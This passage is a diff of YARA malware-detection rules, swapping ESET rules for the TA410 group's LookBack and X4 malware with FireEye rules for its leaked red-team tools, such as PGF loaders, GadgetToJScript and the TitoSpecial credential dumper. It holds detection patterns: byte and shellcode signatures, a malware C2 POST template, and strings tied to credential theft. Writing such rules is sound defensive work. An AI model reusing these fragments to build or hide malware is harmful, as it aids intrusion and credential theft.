EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
 
 	condition:
-		int16 (0)==0x5A4D and 3 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and any of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Tendyron_Downloader
+rule FIREEYE_RT_APT_Loader_Win64_PGF_5 : FILE
 {
 	meta:
-		description = "TA410 Tendyron Downloader"
-		author = "ESET Research"
-		id = "afd8a2a7-8d58-5a96-b9e0-6f8b859e83c5"
+		description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c"
+		author = "FireEye"
+		id = "4fa4a1d6-cb63-582d-801c-b4c89c44d9ca"
 		date = "2020-12-09"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L75-L107"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "16030a78ae9af8783f5913644294ceff861c8264ead8ca99435032be6d7949ef"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_5.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "150224a0ccabce79f963795bf29ec75b"
+		logic_hash = "16495ad1e5ce4d4a79f4067f3d687911a1a0a3bfe4c6409ff9de4d111b1ddca6"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$chunk_1 = {
-            8A 10
-            80 F2 5C
-            80 C2 5C
-            88 10
-            40
-            83 E9 01
-            75 ??
-        }
-		$s1 = "startModule" fullword
+		$cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 }
+		$cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 }
+		$cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 }
+		$cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 }
 
 	condition:
-		int16 (0)==0x5A4D and all of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and any of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_X4_Strings
+rule FIREEYE_RT_APT_Loader_Win_PGF_1 : FILE
 {
 	meta:
-		description = "Matches various strings found in TA410 X4"
-		author = "ESET Research"
-		id = "e6af4516-8b79-5182-8571-7dd530632ddc"
-		date = "2020-10-09"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L109-L125"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "d4b2321a6d0eb0ca8d7c47596af2a45c22b3aef15d1832d64d6588a62cab312a"
+		description = "PDB string used in some PGF DLL samples"
+		author = "FireEye"
+		id = "14e2102c-3572-5314-999c-ff3f6c94de03"
+		date = "2024-03-04"
+		modified = "2024-03-04"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "013c7708f1343d684e3571453261b586"
+		logic_hash = "9dede268d33a38e980026917bd01bc47a72bfe60ba4a999c91eb727a2f377462"
 		score = 75
-		quality = 74
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 73
+		tags = "FILE"
+		rev = 6
 
 	strings:
-		$s1 = "[X]InLoadSC" ascii wide nocase
-		$s3 = "MachineKeys\\Log\\rsa.txt" ascii wide nocase
-		$s4 = "MachineKeys\\Log\\output.log" ascii wide nocase
+		$pdb1 = /RSDS[\x00-\xFF]{20}c:\\source\\dllconfig-master\\dllsource[\x00-\xFF]{0,500}\.pdb\x00/ nocase
+		$pdb2 = /RSDS[\x00-\xFF]{20}C:\\Users\\Developer\\Source[\x00-\xFF]{0,500}\\Release\\DllSource\.pdb\x00/ nocase
+		$pdb3 = /RSDS[\x00-\xFF]{20}q:\\objchk_win7_amd64\\amd64\\init\.pdb\x00/ nocase
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and filesize <15MB and any of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_X4_Hash_Values : FILE
+rule FIREEYE_RT_APT_Loader_Win64_PGF_1 : FILE
 {
 	meta:
-		description = "Matches X4 hash function found in TA410 X4"
-		author = "ESET Research"
-		id = "859bb977-82d0-5314-b1a8-fb3bb06a1b28"
-		date = "2020-10-09"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L127-L149"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "bcf3891ff888ca99af9aa0e239b29241ae819022607fb829c5731267add308ea"
+		description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
+		author = "FireEye"
+		id = "1f2280c0-0fdd-5930-947a-931274bccd6f"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "2b686a8b83f8e1d8b455976ae70dab6e"
+		logic_hash = "2e84d614c34b0b7f93fa70fa3312f22e3ff23f2abd33b2e19c00dd6cba7dcfdc"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$s1 = {D1 10 76 C2 B6 03}
-		$s2 = {71 3E A8 0D}
-		$s3 = {DC 78 94 0E}
-		$s4 = {40 0D E7 D6 06}
-		$s5 = {83 BB FD E8 06}
-		$s6 = {92 9D 9B FF EC 03}
-		$s7 = {DD 0E FC FA F5 03}
-		$s8 = {15 60 1E FB F5 03}
+		$sb1 = { B9 14 00 00 00 FF 15 [4-32] 0F B6 ?? 04 [0-32] F3 A4 [0-64] 0F B6 [2-3] 0F B6 [2-3] 33 [0-32] 88 [1-9] EB }
+		$sb2 = { 41 B8 00 30 00 00 [0-32] FF 15 [8-64] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [1-64] FF ( D? | 5? ) }
+		$sb3 = { 48 89 4C 24 08 [4-64] 48 63 48 3C [0-32] 48 03 C1 [0-64] 0F B7 48 14 [0-64] 48 8D 44 08 18 [8-64] 0F B7 40 06 [2-32] 48 6B C0 28 }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_X4_Hash_Fct : FILE
+rule FIREEYE_RT_Builder_MSIL_G2JS_1 : FILE
 {
 	meta:
-		description = "Matches X4 hash function found in TA410 X4"
-		author = "ESET Research"
-		id = "5ca435a4-7c6e-594d-8c4d-d577735884e6"
-		date = "2020-10-09"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L151-L187"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "3b2d44cb7685a99e9aeb08f886f6876d43ee99d1e52e40705c3fa97ce3bfa9a0"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project."
+		author = "FireEye"
+		id = "484202c2-ac7d-5e6c-8bf1-3452a357c668"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Builder_MSIL_G2JS_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "fa255fdc88ab656ad9bc383f9b322a76"
+		logic_hash = "487d8e8deef218412f241d99ce32b63bfeb3568d23048b9dd4afff8f401bfea5"
 		score = 75
-		quality = 80
+		quality = 73
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 2
 
 	strings:
-		$chunk_1 = {
-            0F B6 01
-            84 C0
-            74 ??
-            48 69 D2 83 00 00 00
-            48 0F BE C0
-            48 03 D0
-            48 FF C1
-            E9 ?? ?? ?? ??
-        }
+		$typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Lookback_Decryption : FILE
+rule FIREEYE_RT_Hunting_B64Engine_Dotnettojscript_Dos
 {
 	meta:
-		description = "Matches encryption/decryption function used by LookBack."
-		author = "ESET Research"
-		id = "91947c6b-f357-5cf8-8522-4dcd517d01cb"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L189-L254"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "016dca6be654fcd193acc481e6a998efbb77e7ebd09b26614422be1136dd02c0"
-		score = 75
-		quality = 80
-		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		description = "This file may enclude a Base64 encoded .NET executable. This technique is used by the project DotNetToJScript which is used by many malware families including GadgetToJScript."
+		author = "FireEye"
+		id = "24c9c259-9bb9-5f46-9278-4fa20eb3c8c4"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_B64Engine_DotNetToJScript_Dos.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "7af24305a409a2b8f83ece27bb0f7900"
+		logic_hash = "e2afb43af469f8ae02f6fd21db6dbd45c997fb003e3aeeaa0d4ff3e85c64159a"
+		score = 50
+		quality = 75
+		tags = ""
+		rev = 1
 
 	strings:
-		$initialize = {
-            8B C6           //mov eax, esi
-            99              //cdq
-            83 E2 03        //and edx, 3
-            03 C2           //add eax, edx
-            C1 F8 02        //sar eax, 2
-            8A C8           //mov cl, al
-            02 C0           //add al, al
-            02 C8           //add cl, al
-            88 4C 34 10         //mov byte ptr [esp + esi + 0x10], cl
-            46              //inc esi
-            81 FE 00 01 00 00       //cmp esi, 0x100
-            72 ??
-        }
-		$generate = {
-            8A 94 1C 10 01 ?? ??    //mov dl, byte ptr [esp + ebx + 0x110]
-            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
-            0F B6 C3        //movzx eax, bl
-            0F B6 44 04 10      //movzx eax, byte ptr [esp + eax + 0x10]
-            32 C2           //xor al, dl
-            02 F0           //add dh, al
-            0F B6 C6        //movzx eax, dh
-            03 C8           //add ecx, eax
-            0F B6 01        //movzx eax, byte ptr [ecx]
-            88 84 1C 10 01 ?? ??    //mov byte ptr [esp + ebx + 0x110], al
-            43              //inc ebx
-            88 11           //mov byte ptr [ecx], dl
-            81 FB 00 06 00 00       //cmp ebx, 0x600
-            72 ??           //jb 0x10025930
-        }
-		$decrypt = {
-            0F B6 C6        //movzx eax, dh
-            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
-            03 C8           //add ecx, eax
-            8A 19           //mov bl, byte ptr [ecx]
-            8A C3           //mov al, bl
-            02 C6           //add al, dh
-            FE C6           //inc dh
-            02 F8           //add bh, al
-            0F B6 C7        //movzx eax, bh
-            8A 94 04 10 01 ?? ??    //mov dl, byte ptr [esp + eax + 0x110]
-            88 9C 04 10 01 ?? ??    //mov byte ptr [esp + eax + 0x110], bl
-            88 11           //mov byte ptr [ecx], dl
-            0F B6 C2        //movzx eax, dl
-            0F B6 CB        //movzx ecx, bl
-            33 C8           //xor ecx, eax
-            8A 84 0C 10 01 ?? ??    //mov al, byte ptr [esp + ecx + 0x110]
-            30 04 2E        //xor byte ptr [esi + ebp], al
-            46              //inc esi
-            3B F7           //cmp esi, edi
-            7C ??           //jl 0x10025980
-        }
+		$b64_mz = "AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEU"
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		$b64_mz
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Lookback_Loader : FILE
+rule FIREEYE_RT_Hunting_Gadgettojscript_1
 {
 	meta:
-		description = "Matches the modified function in LookBack libcurl loader."
-		author = "ESET Research"
-		id = "d0aac4f6-f72f-5adf-8f8f-9251bad70131"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L256-L309"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "98390dd664227ad747e5572771d12e7ebd2475d26db27e85508347ac6f44f3bf"
-		score = 75
-		quality = 80
-		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		description = "This rule is looking for B64 offsets of LazyNetToJscriptLoader which is a namespace specific to the internal version of the GadgetToJScript tooling."
+		author = "FireEye"
+		id = "76c932e0-55b3-56ef-bab6-eb6997b51ee7"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_GadgetToJScript_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "7af24305a409a2b8f83ece27bb0f7900"
+		logic_hash = "a880c20e61376dacd4e3a04f2cf065f19067c29371180b1dec186172cadf9564"
+		score = 50
+		quality = 75
+		tags = ""
+		rev = 4
 
 	strings:
-		$chunk_1 = {
-            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530e0]
-            6A 40          //push 0x40
-            68 00 10 00 00     //push 0x1000
-            68 F0 04 00 00     //push 0x4f0
-            6A 00          //push 0
-            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530d4]
-            8B E8          //mov ebp, eax
-            B9 3C 01 00 00     //mov ecx, 0x13c
-            BE 60 30 06 10     //mov esi, 0x10063060
-            8B FD          //mov edi, ebp
-            68 F0 04 00 00     //push 0x4f0
-            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
-            55             //push ebp
-            E8 ?? ?? ?? ??     //call 0x100258d0
-            8B 0D ?? ?? ?? ??      //mov ecx, dword ptr [0x100530e4]
-            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x100530c8]
-            68 6C 02 00 00     //push 0x26c
-            89 4C 24 ??        //mov dword ptr [esp + 0x1c], ecx
-            89 44 24 ??        //mov dword ptr [esp + 0x20], eax
-            FF 15 ?? ?? ?? ??      //call dword ptr [0x10063038]
-            8B D8          //mov ebx, eax
-            B9 9B 00 00 00     //mov ecx, 0x9b
-            BE 50 35 06 10     //mov esi, 0x10063550
-            8B FB          //mov edi, ebx
-            68 6C 02 00 00      //push 0x26c
-            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
-            53             //push ebx
-            E8 ?? ?? ?? ??     //call 0x100258d0
-            83 C4 14           //add esp, 0x14
-            8D 44 24 ??        //lea eax, [esp + 0x10]
-            50             //push eax
-            53             //push ebx
-            8D 44 24 ??        //lea eax, [esp + 0x3c]
-            50             //push eax
-            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x10063058]
-            FF 74 24 ??        //push dword ptr [esp + 0x28]
-            03 C5          //add eax, ebp
-            FF D0          //call eax
-        }
+		$s1 = "GF6eU5ldFRvSnNjcmlwdExvYWRl"
+		$s2 = "henlOZXRUb0pzY3JpcHRMb2Fk"
+		$s3 = "YXp5TmV0VG9Kc2NyaXB0TG9hZGV"
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		any of them
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Lookback_Strings : FILE
+rule FIREEYE_RT_Credtheft_MSIL_Titospecial_2 : FILE
 {
 	meta:
-		description = "Matches multiple strings and export names in TA410 LookBack."
-		author = "ESET Research"
-		id = "b693c468-5abf-579d-bc03-67f67339feb9"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L311-L331"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "d17ed604e3691c20fe489f95197b7b802ec951ed13d538fa6643449485b326b2"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid."
+		author = "FireEye"
+		id = "0262c720-e6b8-5bf2-a242-19a7f044973f"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_2.yar#L4-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4bf96a7040a683bd34c618431e571e26"
+		logic_hash = "2f621f8de2a4679e6cbce7f41859eaa3095ca54090c8bfccd3b767590ac91f2c"
 		score = 75
-		quality = 80
+		quality = 71
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 4
 
 	strings:
-		$s1 = "SodomMainFree" ascii wide
-		$s2 = "SodomMainInit" ascii wide
-		$s3 = "SodomNormal.bin" ascii wide
-		$s4 = "SodomHttp.bin" ascii wide
-		$s5 = "sodom.ini" ascii wide
-		$s6 = "SodomMainProc" ascii wide
+		$typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide
+		$typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and (2 of them or pe.exports("SodomBodyLoad") or pe.exports("SodomBodyLoadTest"))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ($typelibguid1 or $typelibguid2)
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Lookback_HTTP : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_TITOSPECIAL_1 : FILE
 {
 	meta:
-		description = "Matches LookBack's hardcoded HTTP request"
-		author = "ESET Research"
-		id = "ca4ee437-5ac9-5715-90fb-e0e74a817bb5"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L333-L349"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "0e777f56136cd11d62abdf4f120410d5fe9cd522cfc06afbf085414a96279bf7"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "b12490ba-41f6-5469-bcbb-0d2e0055c193"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/APT_HackTool_MSIL_TITOSPECIAL_1.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4bf96a7040a683bd34c618431e571e26"
+		logic_hash = "6def0c667d38c1bad9233628e509bdcaed322e75be4ff3823b0f788c391e090c"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 5
 
 	strings:
-		$s1 = "POST http://%s/status.php?r=%d%d HTTP/1.1\x0d\nAccept: text/html, application/xhtml+xml, */*\x0d\nAccept-Language: en-us\x0d\nUser-Agent: %s\x0d\nContent-Type: application/x-www-form-urlencoded\x0d\nAccept-Encoding: gzip, deflate\x0d\nHost: %s\x0d\nContent-Length: %d\x0d\nConnection: Keep-Alive\x0d\nCache-Control: no-cache\x0d\n\x0d\n" ascii wide
-		$s2 = "id=1&op=report&status="
+		$ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 }
+		$ind_s1 = "NtReadVirtualMemory" fullword wide
+		$ind_s2 = "WriteProcessMemory" fullword
+		$shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
+		$shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of ($ind*) and any of ($shellcode*)
 }
-import "pe"
-
-rule ESET_Apt_Windows_TA410_Lookback_Magic : FILE
+rule FIREEYE_RT_Hacktool_Win64_Andrewspecial_1 : FILE
 {
 	meta:
-		description = "Matches message header creation in LookBack."
-		author = "ESET Research"
-		id = "5a40a307-772b-5600-9e58-f4bc6dfe6711"
-		date = "2021-10-12"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L351-L377"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
